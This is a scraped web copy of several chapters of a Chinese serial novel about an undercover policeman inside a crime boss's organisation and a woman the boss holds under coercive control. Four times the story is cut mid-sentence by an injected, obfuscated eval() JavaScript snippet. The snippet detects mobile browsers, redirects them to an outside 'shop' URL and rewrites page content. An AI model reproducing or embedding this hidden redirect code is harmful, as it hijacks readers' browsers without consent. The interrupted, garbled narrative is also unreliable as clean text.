但也许是因为今晚晏行铮的一系列行为从本质上来看，还是护着她的，所以此刻，尽管晏行铮语气不善，容清洛却对他放下了戒备。 再加上两人之前也算有些渊源，容清洛打心底里还是信任晏行铮的。 她在晏行铮面前便没那么紧绷，尚未开口，先笑起来：“晏先生。” 其实，这几年替林裕做事，外人都喊他晏先生，他从未觉得有何不妥之处。 可今日听着这一声声“晏先生”从容清洛嘴里喊出。 胸腔里有不知因何而起的雀跃在跳动。 晏行铮突然很想捂住容清洛的嘴。 但他终究什么也没做，只是避开容清洛的眼眸，看向一旁：“怎么？” 容清洛有些尴尬：“你能不能稍等一下，我想……去卫生间。” 晏行铮接过容清洛怀里的外套，点头道：“走，我带你去。” 怕有不长眼的人暗中使坏，晏行铮一直在卫生间外的走廊上守着，直到容清洛出来才移开目光。 来到停车场，容清洛的助理和两个保镖都在车旁等候。 这些都是林裕的人，容清洛不想上自己的车被他们监视，她打算坐晏行铮的车走。 容清洛的助理是这两年招的新人，不认识晏行铮，本来要拦，被晏行铮冷眼扫过，脊背发凉，收了手。 容清洛：“这位晏先生也是林总的手下，他会送我回去的。” 助理不识人，但两个保镖有眼色，认出晏行铮，恭恭敬敬地喊了声“铮哥”，带着助理开车跟在晏行铮的车后面。 晏行铮晚上没喝酒，他提前让司机下班，坐进驾驶座，亲自开车。 汽车驶入夜间的车水马龙，容清洛报出一个地址，这是她平常工作时一个人住的房子。 晏行铮：“裕哥说让我送你到花洲岛。” 容清洛：“我不去。” 晏行铮这次从南庐市回到宁川市以后，听到底下兄弟说起不少事，其中就包括林裕在花洲岛金屋藏娇。 今天恰好碰到容清洛，他犹豫一番，还是将心中的疑问提出来：“你如今跟着裕哥……你是自愿的吗？” 容清洛冷笑道：“你觉得呢？我有选择的权力吗？林裕把我当猫儿、狗儿的一样养，听话了给个三瓜两枣的，不听话就用各种方式逼我低头。他根本就是拿驯养别人当消遣。” 晏行铮听明白容清洛的言下之意，便道：“那现在你还想逃离吗？如果你仍然想离开裕哥，我可以帮你。” 容清洛：“你这车里有监听吗？” 晏行铮：“没有。” “这一点上，你可以相信我。” “有什么话，你直说就是。” 容清洛侧身看向旁边正在开车的晏行铮：“好，那在我回答你之前，我要问你一个问题。” 晏行铮余光瞥了容清洛一眼，又将目光放在前方道路上，才道：“你的保镖和助理在后面的那辆车里跟着，所以我的车必须一直向着花洲岛的方向开。” 这人没头没尾地解释了一句，容清洛的思路被打断：“所以？” 晏行铮：“所以我无法看着你的眼睛和你说话，见谅一下吧。” 容清洛的心里仿佛被什么软软地、轻柔地敲击了一下。 她坐正身子，重新靠回座位，故作轻松道：“这有什么，没事儿。” 晏行铮：“说起来你可能不会信，我在别处听到的版本是，裕哥待你如珠似宝，把你藏得很深，非常保护你。” 容清洛：“林裕自己给自己脸上贴金吧。” 晏行铮：“这有可能是以讹传讹，我肯定是相信作为当事人的你。” “从你提到裕哥的话来看，你似乎很不喜欢不被尊重的感觉。” “所以我想和你解释一下，为什么我不能停车在路边，好好和你面对面地聊一下。” “现在可以说一说你想要问我的问题了。” 容清洛：“你这两年为什么对我不闻不问，我们之前达成了合作，但合作者竟然抛下同盟，音讯全无。说说，你到底做什么去了？” 这个问题，晏行铮还真不好回答。 两年前，林裕派晏行铮到南庐市接手范氏的各个地下产业。 林家在南庐市本就有些根基，这两年在林裕的远程指挥下，林氏集团在南庐市已经成为一股说一不二的势力，无人能挡。 当然，这一切都会成为后面扳倒林裕时的证据。 有了这些功绩，晏行铮如今已经很受林裕信任，对林裕在南庐市的黑色产业一清二楚。 南庐市随时可以收网，但是林裕在宁川市这边的产业晏行铮还未深入了解，为了让 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578038|187194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晏行铮继续打入内部，上级决定再等一等。 但这些晏行铮不能告诉容清洛，他简要解释道：“抱歉，这两年裕哥一直派我到南庐市做事，我基本没回过宁川市。” “没能及时对你施以援手，是我不应该。” “所以如果现在你想逃，我不仅不拦你，反而还会给你打掩护，帮你离开。” “你要逃吗？” 容清洛仍旧没有回答这个问题，她看着前方被汽车前照灯照亮的路面，问道：“你还记得我们第一见面吗？” 晏行铮沉默。 “在南庐市人民医院的顶楼天台。”容清洛，“当时我说，我面临一个很重要的决定，这有可能改变一生。” “我做的那个决定让我现在变成了这样，和我最终的目标相去甚远。” “很显然，我玩脱了。” “你呢，你走进黑夜，过得还好吗？” 晏行铮握着方向盘的手一点没抖，但他脑子里的弦已然绷紧。 大意了。 因为在曾经还未真正潜藏进黑夜时有过几面之缘，晏行铮下意识对容清洛放下了防备。 然而现在，晏行铮的心里升腾起一个他最不愿相信的怀疑。 如果……容清洛是被林裕派来试探他是否是卧底的呢？ 后果不敢想象。 晏行铮知道现在他代表的不仅仅是他自己，他身上还带着任务。 所以他绝对不能暴露。 晏行铮在心里骂自己怎可如此大意。 可之前他怎么也没料到容清洛会走到如今这个离林裕这么近的位置。 晏行铮上次冒险通知容清洛时就已经表明过身份，喊过容清洛季希。 他知道，这时候否认，说容清洛认错人是完全不可取的。 晏行铮轻叹一口气：“过去的事就不要再提了，人总是要向前看。哪有什么黑夜白天、光明黑暗的，都是年纪小，中二病犯了。” “清洛，我帮你，是因为朋友之义，而我效忠裕哥，是因为兄弟之情，这二者并不冲突。” 没得到想要的回答，容清洛有些泄气，她故意道：“但你要帮我逃跑，你就是背叛你的裕哥。” 前方有红绿灯，晏行铮停下车等待红灯，他的手指在方向盘上轻敲几下，扭头看着容清洛正色道：“在事业上，我效忠裕哥，绝对忠心不二。” “但是在个人情感上，作为他的兄弟和手下，我有规劝之责。” 容清洛：“规劝什么？” 晏行铮打量容清洛几眼，蓦地勾起唇角，一字一句道：“红颜多祸水，美人易误国。” “裕哥有家有业，有你在，只会拖累他。好在裕哥的夫人目前还不知道你的存在。” “所以我可能确实是他身边最想让你离开的。” 容清洛：“那你觉得，我会误你吗？” “或者换句话说，你有被我误吗？” 88. 月夜沧浪 红灯结束。 晏行铮转过头，踩下油门，启动汽车：“这个问题你应该问裕哥。” 接下来的一路，容清洛没再开口。 晏行铮也沉默不语。 在林氏集团，他谁都不能信任。 出现在林裕身边、任何与林裕绑定较深的人，他在打交道时都必须谨慎再谨慎。 因为一旦稍有差池，行差踏错，死的不止他一个，还有他背后的多名队友。 终于，车子抵达花洲岛对岸。 晏行铮将车停在江边码头。 那里有船来接应。 后面的车也到了，容清洛的保镖和助理已经下车。 容清洛却冷着脸坐在车上未动。 晏行铮远远看见停泊在岸边的船上走出几人，领头的正是林裕。 晏行铮：“裕哥亲自出岛来接你，传闻所言不虚啊。” 容清洛没理。 晏行铮只好打开车门，自己下车，上前打招呼：“裕哥。” 林裕颔首：“阿铮，今天幸亏清洛遇到了你。” 晏行铮：“您之前专门叮嘱过，遇到嫂夫人要照顾着点儿，虽然只见过照片，但是今天在饭局上我一眼就认出来了。” “我现在拥有的一切都是裕哥您给的。嫂夫人有难，做小弟的，当然不能袖手旁观。” “确实还是你小子靠谱。”林裕拍拍晏行铮的肩膀，低声道，“不过有一点注意啊，以后别嫂夫人嫂夫人的喊她，这要是让吴家人听到，容易生出事端。” “饭局上那几人你不用管了，我已经派人去教训他们了。” 晏行铮：“是。” 林裕：“我们清洛人呢？” 晏行铮指着停在一旁的车道：“容小姐在车上。” 林裕走过去，站在副驾驶座旁，拉开车门：“清洛，下来。” 容清洛满脸不高兴，瞪了一眼林裕身后的晏行铮。 林裕顺着容清洛的目光看向后面：“怎么了？谁又惹你不高兴了？” 容清洛：“林裕，这位晏先生还真是你养的一条好狗。” “他在饭局上替我解围，我还以为他是什么好东西。” “结果我一问，他就叫我大嫂。” “果然是什么将带什么兵，俩人都人面兽心。我让他送我到我的住处，他非说他的裕哥让他送我到花洲岛。” “林裕，你不让我工作，还想让我到岛上陪你，你做梦吧。” “我要回我自己住的地方。” 林裕听到容清洛这一番夹枪带棒的话，倒是没有露出怒容。 他低头，凑到容清洛脸颊边。 容清洛余光瞥见不远处的晏行铮，想躲开，被林裕捏住下巴。 林裕声音低沉，嘴角含笑，眼里却满是威压：“清洛，你要是不想上船跟我回岛，那咱们今晚就在这辆车里过夜，你就在车里陪我，想来你是喜欢被围观的，对吗？” 容清洛眼里涌出眼泪。 林裕伸出手覆上她的眼睛：“别看我，告诉我你的回答，回岛，还是，在这里。” 容清洛：“我跟你走。” 林裕拿出纸巾给容清洛擦干眼泪：“真乖。” 他搂着容清洛下车，转身看晏行铮还在这里，便道：“阿铮，今天不早了，你先回去，早点休息。我交给你的场子，你替我管好了。” 晏行铮：“是。” 林裕带着容清洛上船，晏行铮目送二人。 擦身而过的瞬间，晏行铮清晰地看见容清洛泛着红意的眼眶。 刚刚，林裕和她说了什么？ 晏行铮目送林裕上船以后，才开车离开码头，准备回自己的住处。 路上总觉得胸口发闷，晏行铮打开车窗，冷空气往车内侵袭，带来氤氲水汽。 他正在穿过九川江大桥。 过桥以后，晏行铮在路边找到一个停车位，下车步行至江边。 凭栏而望，阔大的水面在漆黑的浓夜里好似一条墨色的绸缎，沿江步道的路灯发出星星点点的光亮，映照出荡漾水波。 独自一人在这种非密闭空间的时候，他才可以不做晏行铮，只做片刻自己。 高悬天幕的是如钩冷月。 如此美景，却勾起晏行铮心中悲凉。 那天边颗颗寒星好似水痕，恰如刚刚离开时，容清洛眼角的泪意。 晏行铮面无表情地思考着。 她似乎—— 并不情愿跟着林裕回花洲岛。 她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578039|187194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是被迫的。 想起今晚在抵达花洲岛之前，容清洛在车上的问话。 “走进黑夜，你过得还好吗？” 她是在试探他的真实身份。 当时，这一问就如同开关，瞬间拉响他脑中警笛。 不论晏行铮个人情感如何，在对容清洛的动机了解不充分的情况下，他都不可以在容清洛面前暴露自己的卧底身份。 他自己的情感在他所有的考量中，是最不重要的。 就如同今晚，如果不是因为在到酒店之前接到林裕让他看顾着点容清洛的电话，他哪怕要护住容清洛，也不会这么明目张胆地自己出面。 在林裕身边，晏行铮所有行为的标准只有一个，那就是，能否使任务顺利进行。 他肩膀上担着的责任，比他这个人要重要得多。 以至于他个人的任何情感，都不该，也不能，掺杂进任务的所有决策当中。 所以在面对容清洛这般的试探时，晏行铮只能打太极，用违心的话语消除对方的怀疑。 不论这试探，究竟是源于林裕的授意，还是她自己另有所图。 晏行铮深深叹气。 忆起容清洛在开口前，曾特意问过车里是否有监听。 她能问出这样的问题，看来，她一直处于被林裕监视的状态之下。 被这样对待的她，真的会替林裕试探自己吗？ 晏行铮不知道。 可他，确实冒不起这个险。 在江边伫立许久，回到家中，已是深夜。 移开卧室墙壁上的一幅山水画，晏行铮从后面的暗格里取出一部手机，联系平叔，让他细致查一下容清洛这两年所接触的人。 几天后，晏行铮在与平叔接头时拿到有关容清洛的资料。 容清洛的关系网其实并不复杂，她这两年作为女团爱豆，不是在准备舞台，就是在参加各种综艺或者比赛，并未做过什么出格的事情。 唯一不同寻常的地方在于，她私下里一直与一个兼职网红和一个兼职化妆师保持着秘密联系。 这三个人从表面上看，八竿子打不着，却暗地里一起偷偷摸摸地搜集了不少与林氏相关的情报。 晏行铮沉吟，容清洛究竟想做什么？ 89. 月夜沧浪 难道容清洛那时候和严靖诚合作，不只是为了让严靖诚给她修复毁容的脸？ 想到这里，晏行铮的神情愈加冷肃。 也许，容清洛来到林裕身边，并不仅仅只是因为严靖诚的指派。 她有自己的目的。 晏行铮让平叔顺着网红和化妆师这两条线索去查。 很快，他便收到消息。 原来在容清洛还是季希时，她便认识那两个人。 其中一位名叫贺溪君，是容清洛在孤儿院的儿时玩伴。 另一位名叫吴焕晗，是曾和容清洛同班过半年的高中同学。 晏行铮又将容清洛还是季希时的资料仔细地阅读好几遍，把这些经历和另外两个人的经历进行比对。 抽丝剥茧之后，他终于从这些经历中找到一点共性。 吴焕晗就读于南庐市师范学院，她在大学时谈过一个男朋友，那人名叫邱浩，是个消防员，在救火时因林氏而意外去世。 而容清洛和吴焕晗在高中时都曾被林裕的妹妹林晶霸凌。 晏行铮猜测，她们两个人也许是为了复仇，所以要对付林氏。 那贺溪君呢？ 晏行铮惊讶地发现，贺溪君竟然是他师兄文新霁的表妹。 只是表妹好像和林氏并没什么仇怨。 就好像，她参与进来，只是纯粹为了帮助容清洛。 看来，容清洛在严靖诚死后之所以没有急着脱身、离开宁川市，反而被林裕像金丝雀一样圈在身边，这里面固然有不得已的成分，但—— 容清洛绝不是完全被动的。 她就算没有主动的行为，也定然是顺水推舟的。 思及此，晏行铮心中愈发确定，容清洛是在复仇。 既然容清洛的动机是复仇，而且是这般忍辱负重的复仇，那么她和林裕沆瀣一气的几率几乎为零。 晏行铮心中隐秘存在的，对也许会和容清洛站在对立面的，那种让人心乱的担忧，此刻终于消散。 只是，他尚心存疑虑。 这里面究竟还藏着什么秘密。 竟然让容清洛压上如此之大的赌注。 名字。 容貌。 身体。 人生。 未来。 可以说是献祭出她的所有。 那灵魂呢？ 安在否？ 晏行铮不知道。 *** 晏行铮在调查容清洛，而容清洛什么都不知道。 因为她又被林裕关在花洲岛上了。 当然，这是容清洛意料之中的事。 那天在码头上，她是故意当着晏行铮的面激怒林裕，让晏行铮看见林裕威胁自己的场景。 晏行铮对她有顾虑，容清洛可以理解。 她准备演一出苦肉计，再试探晏行铮一次。 如果晏行铮真是卧底，她的计划就可以落地了。 退一万步讲，哪怕晏行铮不是卧底，只要他对她还心存善意，她也算多一层保障。 几天过去，这天中午，容清洛正在一个人吃午饭，林裕走进别墅。 容清洛没理林裕，径自吃饭。 那天夜里，林裕在岛上留宿，接着有将近一周都没来花洲岛。 林裕今天专门抽出时间来看容清洛，结果一进门，也没得到个好脸色，他坐到容清洛身边，欣赏着美人的侧颜，随口问道：“还生气呢？” 容清洛斜睨林裕一眼，没有说话。 林裕挑眉，他从兜里拿出一个首饰盒，推到容清洛面前：“看看。” 容清洛放下筷子，拿纸巾擦了擦嘴，起身准备上楼。 她走了几步，似乎没忍住，又转回来，将餐桌上的首饰盒拿起来就往门口扔去：“谁稀罕。” 林裕一眼都没往门口瞧，他拉住容清洛的手腕：“为什么扔掉？” 容清洛被攥得有些疼：“林裕，你根本就没有心。” 林裕重复道：“为什么扔掉？” 容清洛：“你觉得我扔你的礼物是不尊重你，所以你生气，对吗？” “你扪心自问，你尊重过我吗？你有把我真正放在心里吗？” 林裕：“我对你还不够好吗？” 容清洛：“再贵的首饰，对你而言，价值几何？” “在你心里，我和你马场里养的那匹最喜欢的云电比起来，有区别吗？” “你给我的这些，无非就是你眼里的马饲料，乞丐都知道不吃嗟来之食，我要你这破石头何用。” 林裕微怔。 感受到手腕上被捏着的力道有些松懈，容清洛甩开林裕的手，扭头就走。 然而她脚还没踏上楼梯，身子便腾空而起，不禁怒道：“林裕！” “我在呢。”林裕面上挂着痞笑，拦腰把容清洛横抱着上楼，踢开卧室房门。 *** 下午，林裕正在浴室洗澡，他的手机响起。 容清洛躺在床上，本来懒得理会，但当视线扫过屏幕上的“阿铮”二字时，她改变了主意，拿着手机敲浴室门：“有电话。” 林裕：“是谁？” 容清洛：“你那个死心眼的手下。” 林裕刚好洗完澡。 他推开浴室门，便被容清洛一把抱住。 林裕眼里带着点他自己都没意识到的温柔，安抚似的拍拍容清洛的背。 手机铃声还在响，他点了一下容清洛的鼻尖，让她别 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578040|187194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 闹，接起电话，声音里还带着丝愉悦：“阿铮？” 对面说了几句，容清洛侧耳细听，可惜什么也没听清。 只听见林裕回复道：“好，我待会儿去找你，你等着我。” 挂断电话，林裕摸摸容清洛的脑袋：“起来吧，我还有事，先走了。” 容清洛闷闷道：“今天你哪儿都不许去。” 林裕有点纳罕。 要知道，这几年里，容清洛可从来没有留过他。 林裕勾起怀里女子的脸，仔细端详。 容清洛拍开林裕的手：“看什么？” 林裕：“看你又憋着什么坏？” 容清洛仰起脸：“你要关我到什么时候？你把我拘在这里，又不陪我，我一个人害怕。” 林裕：“你怕什么？这里你住了那么久，岛上什么东西都给你配得很齐全，你还想要什么你跟我说。” “这里就是你的家，自己家里，你怕什么？” “你要我把这里当家，那你把这里当什么？”容清洛，“在你眼里，这里只是客栈吧？” “你把我当什么呢？” 容清洛垂眸，低落道：“那天，我听见你不让你那个手下喊我嫂夫人了。” 林裕了然：“我们清洛这是有不安全感了。” 容清洛的手点在林裕心脏的位置，说道：“你问我要什么，我就要你的真心，要你在这里陪我。” “今天，你不准走。” 容清洛在林裕面前就没说过软话。 这也是她在自己面前第一次表现出依恋。 林裕虽然疑惑，但是柔弱的美人在怀，他倒真的不舍得离开了：“好，那我这几天都在岛上陪你。” 低头亲了容清洛的额头一下，林裕又道：“但是清洛，你永远不可能是他们的嫂夫人，我的妻子是吴家女。” “你要摆正你自己的位置。” “我有一个精神病妻子，”林裕迫使容清洛抬头看着自己的眼睛，“用你的话说，我为权势做鸭。” “身为一个男人，这让我很痛苦，所以我想看你为生存违心地取悦我。” “我的意图我从始至终没有瞒你。我就喜欢看你矛盾，挣扎，痛苦，却又离不开我。” “所以，不要妄求你不该有的。” 林裕的话直白又残忍。 不过容清洛没什么好伤心的，因为她说的这些话没有一句发自真心。 她，另有所图。 容清洛回视林裕：“我知道啊，那又如何？” “反正你答应了今天会陪我，不管谁喊你，你都不准走。” 林裕想着事情确实也没有多要紧，便给晏行铮打了一个电话，让他带着东西来花洲岛。 90. 月夜沧浪 临近新年，晏行铮需要将手中所管的各处产业的总账交给林裕，并向其汇报工作。 按照惯例，这种事情应该在林裕的办公室进行。 一开始林裕也是这么吩咐的。 只是不知为何，林裕后来又给晏行铮打来一个电话，让他带着东西去花洲岛。 实际上，晏行铮虽然送容清洛来过花洲岛对岸，但他从未真正踏足过花洲岛。 可从他目前搜集到的信息来看，林裕极有可能把很重要的东西藏在岛上，而容清洛这个所谓金丝雀的存在，似乎只是一个迷惑外界的障眼法。 所以这次登上花洲岛，于晏行铮而言，是一次极佳的探查岛内秘密的机会。 容清洛住的别墅坐落于花洲岛南面。 而林裕会见晏行铮的宅子在花洲岛的北面。 聊完事情以后，晏行铮准备告辞，被林裕留下来喝酒。 晏行铮端起酒杯：“裕哥，看您这满面春风的，是有什么喜事吗？也让小弟沾沾您的喜气。” 林裕摆摆手：“鱼水之欢，闺房之乐，不值一提，不值一提。” 他和晏行铮碰杯：“就是想喝酒，来，今天咱们哥俩不醉不归。” 两人从傍晚喝到月上枝头。 林裕的酒量在普通人里算不错的。 不过，晏行铮为了喝酒不误事，在来当卧底以前专门训练过酒量。 虽说千杯不醉有点夸张，但让他喝倒林裕，完全不成问题。 酒过三巡，菜过五味，林裕终于撑不住，栽倒在桌上。 晏行铮见状，也假装倒在一旁。 没过多久，两个佣人上前，把林裕扶进他在这座宅子二楼的卧室，之后又回来把晏行铮扶到一楼的一间客房。 听到卧房门被关上的声音，晏行铮静候片刻，才慢慢睁开双眼。 他轻手轻脚下床，贴在门上倾听。 走廊中传来一些脚步声。 晏行铮悄悄从卧室里面将门反锁上。 他拿出手机，没有打开手电筒，而是将屏幕调到最亮，借着手机屏微弱的光线将整间屋子检查了一遍。 没有发现窃听器或者针孔摄像头。 将手机放回兜里，晏行铮摸黑走到窗边，小心地将窗帘掀开一条细缝。 这栋宅子建得离岸边很近。 也许是不想让人在对岸瞧见岛上的景象，岛内沿岸并未设置路灯。 是以外面漆黑一片。 晏行铮只能模糊地辨认出远方的群山，听见水声和风声。 静静地等待了大概二十分钟，走廊上的声响彻底平息下来，整栋楼陷入一片宁静。 此时，已经从漆黑天幕中渐渐露出一轮满月。 乌云消散，月光撕破这无边的黑暗。 月上中天，晏行铮借着这澄丽的月色终于看清了远方。 原来他这间房间外正好是河滩，怪不得能清楚地听见水声。 夜阑人静，岛上众人基本都已陷入沉睡，晏行铮打开窗户，身手矫健地翻窗而出，落地犹如一只优雅地猎豹，悄无声息，没惊动任何人，临走时还不忘回身将窗帘和窗户轻轻掩上。 这里是晏行铮的私人岛屿，他们其实一直没能对岛上进行细致地排查。 如今有机会名正言顺的上岛，这对晏行铮而言是难得的机会，他必须四处探查一番，瞧瞧这里究竟潜藏着林裕的什么秘密。 *** 另一边，花洲岛南苑，时间倒回到两个小时 容清洛从保镖口中得知，林裕今晚喝醉了歇在北面。 确认林裕已经睡下并且不会回来以后，容清洛立马回到房间，关好门，从床底翻出一部手机。 这是贺溪君专门为她改造过的手机，一般的设备都检测不到其存在。 吴焕晗是化妆师，比贺溪君更能接触到容清洛，所以这部手机是去年由吴焕晗转交给她的。 当时容清洛把手机藏在品牌送的礼盒里，夹带进了花洲岛。 下午得知晏行铮会来岛上以后，容清洛等到林裕离开便立马与贺溪君取得了联系，请贺溪君晚上在特定时间控制住整座岛屿的监控，对网络做些手脚，让她不要被拍到。 此时得到林裕歇下的消息，容清洛连忙给贺溪君发送短信。 「可以开始。」 几乎是立刻，贺溪君发来回复。 「已控制，可以行动。」 容清洛如今对整座岛的大多数地形已经非常熟悉。 岛上有一些地方她是去不了的，但是住宅区和游览区她可以随便逛。 容清洛驾轻就熟地抄近路来到花洲岛北苑别墅后面的河滩。 不知道晏行铮今夜醉没醉，她只能碰碰运气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578041|187194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 容清洛躲在一个监控的死角，远远盯着这一面这几间客房的窗户。 晏行铮肯定住在其中一间。 如果晏行铮是卧底，他第一次上岛，肯定会想要一探究竟，那么她在这里守株待兔即可。 而假如晏行铮夜里并不出来察看岛上情况，那么晏行铮是卧底的几率就大大降低。 等了大概十分钟，其中一扇窗户中果然跳出一道身影，正是晏行铮。 容清洛做出从南边往北边沿着河滩散心的模样，走到一个方位，站住。 余光里瞥到晏行铮好像注意到这边的动静了，容清洛开始往水里走。 她选的这个位置其实很有讲究。 汤婶在花洲岛干了好些年，她曾给容清洛讲过，这里是花洲岛离对岸最近的地方，以前这里有一座桥，后来拦了大坝以后，水位上涨，就把桥淹没了。但是在冬季，有时候河水下降，桥面会隐隐约约地露出来一些，不仔细看的话，是看不见的。 *** 晏行铮今夜其实也怀疑过，林裕是否是专门装醉，意在试探自己。 不过以自己对林裕的了解，最终晏行铮还是否定了这个可能性。 林裕虽然多疑，但是也非常自负，他自信能够看透所有人心、掌控所有人性，他认为自己可以拿捏住所有人的野心、追求、软肋，所以可以操控所有人的行为。 晏行铮能感受到，林裕目前还算信任他，尤其他已经可以说是为林裕出生入死、开疆扩土。 但这不是晏行铮认为林裕今晚没有试探他的原因。 更重要的原因是，以林裕的高傲而言，晏行铮还远远没有达到需要他装醉试探的程度。 晏行铮作为手下确实好用。 不管是用兄弟情义还是权势地位，林裕把这些当作牵驴的胡萝卜在前方牵引诱惑着晏行铮替他卖命。 只是，对主人而言，一旦这头驴不好用了，换一头就是，何必还要测试这头驴的忠心。 所以倘若林裕真的怀疑晏行铮，早就把晏行铮抓起来严刑拷打了，哪里需要这般做戏。 因此，晏行铮考虑再三，还是决定不要浪费今晚这次机会。 况且，以晏行铮对林裕今天喝酒时的观察来看，林裕今晚会喝醉，更多的可能还是因为一点惆怅，而这点惆怅，可能连林裕自己都未曾发觉。 91. 朗月清风 晏行铮悄悄在月光的照射下潜行，拐过一个墙角，视野开阔起来，他发现水边有人，连忙后退，躲在一旁观察。 远处，江水滔滔而下，在黑暗夜色里凝成最浓郁的墨色。 两岸的山如同蹲着的一头巨兽，张着那张深渊巨口把流水吞下。 那正一步一步缓慢行入水中的人影，正好处在两山之间。 既是羊入虎口，走上一条注定成为盘中餐的末路。 更似单薄无依，走向鬼门关的一缕孤魂。 万籁俱寂当中，只能听见涛涛江水的奔流声。 幽幽的月光洒在女子的侧颜上，晏行铮眯着眼辨认出此人身份。 是容清洛。 此时此刻本不应该出现在这里的容清洛。 怎么会是她？ 她要做什么？ 隔得远，晏行铮只能看见容清洛一步一步向水中走去。 她倒在水中，被水淹没，然后便再也没起来，似乎将永远溺毙其中。 此刻，那片水域太过宁静，静得仿佛弥漫着死亡的气息。 容清洛是在林裕身边不堪其辱，想要投江自尽吗？ 想到这里，晏行铮想要冲过去救人。 但他的理智抑制住了这个冲动。 要知道，恰好在他一出来的时候就碰到人，这不正常，倒像是故意在诱导他过去。 是去救人？ 还是按照原计划探查岛上秘密？ 这个瞬间，晏行铮脑海里出现许多为这两个观点争辩的声音。 最终，他改变了原本的方向，往水边跑去。 他虽然是卧底，可他，首先是一名警察。 探查秘密，以后还可以找机会，这是有解的。 可人的性命是如此宝贵、无价，一旦失去，就真的不存在了。 又怎么可以眼睁睁地瞧着一条无辜性命在眼前逝去呢？ 死亡，是最无解的事情。 除非神迹降临，否则，无人可避。 所以晏行铮义无反顾地踏进那片浩浩汤汤的水域，准备救人。 *** 初冬的江水温度很低，容清洛冷得发抖，却仍然极力在隐于水中的桥面上趴着一动不动。 河水漫过她的一半身体，她闭眼侧着头，一半脸在水中，一半脸在水上，让鼻子暴露在空气中保持呼吸。 不知道过去多久。 也许只是半分钟。 但容清洛却仿佛度过了一个世纪。 她在等待。 等待来自晏行铮的审判。 身后，似乎有人踏入水中。 容清洛的嘴角轻缓地勾起一个幅度，但只是一瞬间，她立马将嘴角压成平直。 似乎有人把手放于她鼻前测着呼吸。 容清洛一把抓住那只手，睁开眼从水中坐起来：“你干什么？” 晏行铮低声诧异道：“你没事？” 容清洛同样声音也很低，唇边带着若有似无的笑意：“你很希望我出事？” 晏行铮见她没有溺水的症状，松了一口气的同时，发现脚下踩着的根本不是水中泥沙。 他一边观察水面，一边伸手在水里摸了半晌，这才意识到水面之下隐藏着一座石桥。 其他地方确实水深，但站在桥上，手伸进水中时，堪堪淹至掌根。 怪不得容清洛会没事。 晏行铮蓦然间意识到，容清洛又在试探他。 晏行铮此时的心情十分复杂。 在他眼里，容清洛的行为，简直是拿自己的身体开玩笑。 即便水里有石桥，不至于淹死人，可这是冬天，江水冰冷刺骨，躺在水里那么久，回去发烧都是小事，留下病根以后可怎么办。 但目光和容清洛的眼眸中的笑意交汇，晏行铮无言片刻。 他知道，容清洛不在乎这些。 既然如此，他替容清洛操心这些事情做什么。 他算是领教过了，容清洛瞧着文文弱弱，实际上她对自己是真心狠。 她都献祭出那么多东西了，还在乎这点病痛吗？ 晏行铮心中冷笑，一时有些恼羞成怒。 不是气容清洛。 而是气他自己。 容清洛用性命来试探他，而他，说是会将任务放在第一位，可在人命关天的时刻，还真被她试探出了结果。 好在他已经基本确认，容清洛和林裕不是一伙的。 否则一旦暴露，他还有何颜面去面对那些与他并肩作战的战友。 晏行铮转身想走。 但是看着容清洛浑身湿透、且在寒风中冻得瑟瑟发抖的模样，他又不好说什么。 最终，他只能认命地将容清洛从水里拽起来，脱下自己的外套披在她的肩上，拉着她往岸上走。 两个人站在江边太过显眼，于是晏行铮拽着容清洛来到岸边一处巨石背后。 这里既可以掩住身形，还可以挡住冬夜寒风，适合谈话。 男子的力气很大，容清洛挣不开晏行铮的手，只好由着他。 晏行铮一走到石头的阴影处便松开手。 容清洛从晏行铮的脸上瞧不出任何情绪。 说他生气了吧，晏行铮的眼神里并没有怒火。 说他没生气吧，可晏行铮面无表情的样子实在是让人感到颇具威压。 容清洛没等晏行铮开口。 她整理了一下湿漉漉的衣服，说道：“这里背风，也不会被远处宅子里的人瞧见，倒是适合说话。” 晏行铮：“不如说是适合逼供。” 容清洛：“逼供？逼谁的供？” 晏行铮：“这里除了你我还有谁？” 